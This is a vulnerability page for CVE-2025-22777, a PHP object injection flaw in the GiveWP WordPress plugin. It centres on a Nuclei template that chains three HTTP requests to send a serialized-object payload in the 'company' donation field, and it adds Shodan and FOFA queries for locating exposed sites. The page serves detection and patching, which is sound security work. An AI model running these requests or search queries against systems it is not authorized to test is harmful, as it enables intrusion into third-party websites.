CVE-2025-22777: GiveWP <= 3.19.3 - Unauthenticated PHP Object Injection via company Parameter

2026-11-16 PoC Public

Description

Deserialization of Untrusted Data vulnerability in StellarWP GiveWP give allows Object Injection.This issue affects GiveWP: from n/a through <= 3.19.3.

Details

CVE
CVE-2025-22777 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2025-22777

info:
  name: GiveWP <= 3.19.3 - Unauthenticated PHP Object Injection via company Parameter
  author: DhiyaneshDk
  severity: critical
  description: |
    Deserialization of Untrusted Data vulnerability in StellarWP GiveWP give allows Object Injection.This issue affects GiveWP: from n/a through <= 3.19.3.
  impact: |
    Unauthenticated remote code execution via arbitrary file deletion. No privileges or user interaction required.
  remediation: Update GiveWP to version 3.19.4 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-22777
    - https://patchstack.com/database/Wordpress/Plugin/give/vulnerability/wordpress-givewp-plugin-3-19-3-php-object-injection-vulnerability
    - https://github.com/RandomRobbieBF/CVE-2025-22777
    - https://plugins.trac.wordpress.org/changeset/3212723/give/tags/3.19.3/src/Helpers/Utils.php
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-22777
    cwe-id: CWE-502
  metadata:
    verified: true
    max-request: 3
    vendor: stellarwp
    product: givewp
    framework: wordpress
    shodan-query: http.component:"WordPress" http.component:"GiveWP"
    fofa-query: body="givewp" && body="wp-content/plugins/give"
  tags: cve,cve2025,wordpress,wp-plugin,givewp,deserialization,rce,unauth,kev,vkev,wp

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /wp-json/wp/v2/give_forms?per_page=1&_fields=id HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - '"id"'
        internal: true

    extractors:
      - type: regex
        name: form_id
        part: body
        internal: true
        group: 1
        regex:
          - '"id":([0-9]+)'

  - raw:
      - |
        GET /?givewp-route=donation-form-view&form-id={{form_id}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'sig != ""'
        internal: true

    extractors:
      - type: regex
        name: sig
        internal: true
        group: 1
        regex:
          - 'donateUrl":"[^"]*?givewp-route-signature=([a-f0-9]{32})'

      - type: regex
        name: exp
        internal: true
        group: 1
        regex:
          - 'donateUrl":"[^"]*?givewp-route-signature-expiration=(\d{10})'

  - raw:
      - |
        POST /?givewp-route=donate&givewp-route-signature={{sig}}&givewp-route-signature-id=givewp-donate&givewp-route-signature-expiration={{exp}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Accept: application/json

        amount=10&currency=USD&gatewayId=manual&formId={{form_id}}&firstName={{to_lower(rand_text_alpha(6))}}&lastName={{to_lower(rand_text_alpha(6))}}&email={{to_lower(rand_text_alpha(10))}}@{{to_lower(rand_text_alpha(6))}}.com&donationType=single&company=%01O%3A8%3A%22stdClass%22%3A0%3A%7B%7D&originUrl=http%3A%2F%2F{{Hostname}}&isEmbed=false&embedId=

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"type":"redirect"'
          - 'receipt-id'
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100ac8717f7ff7c336ee90290574f9fe771f8118c3ecdde39822f75159ec0755172022100fbc20c7ccb8e359a00817e589723e31e198ab5d2af8ef0d6d3284f2ea29313c7:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life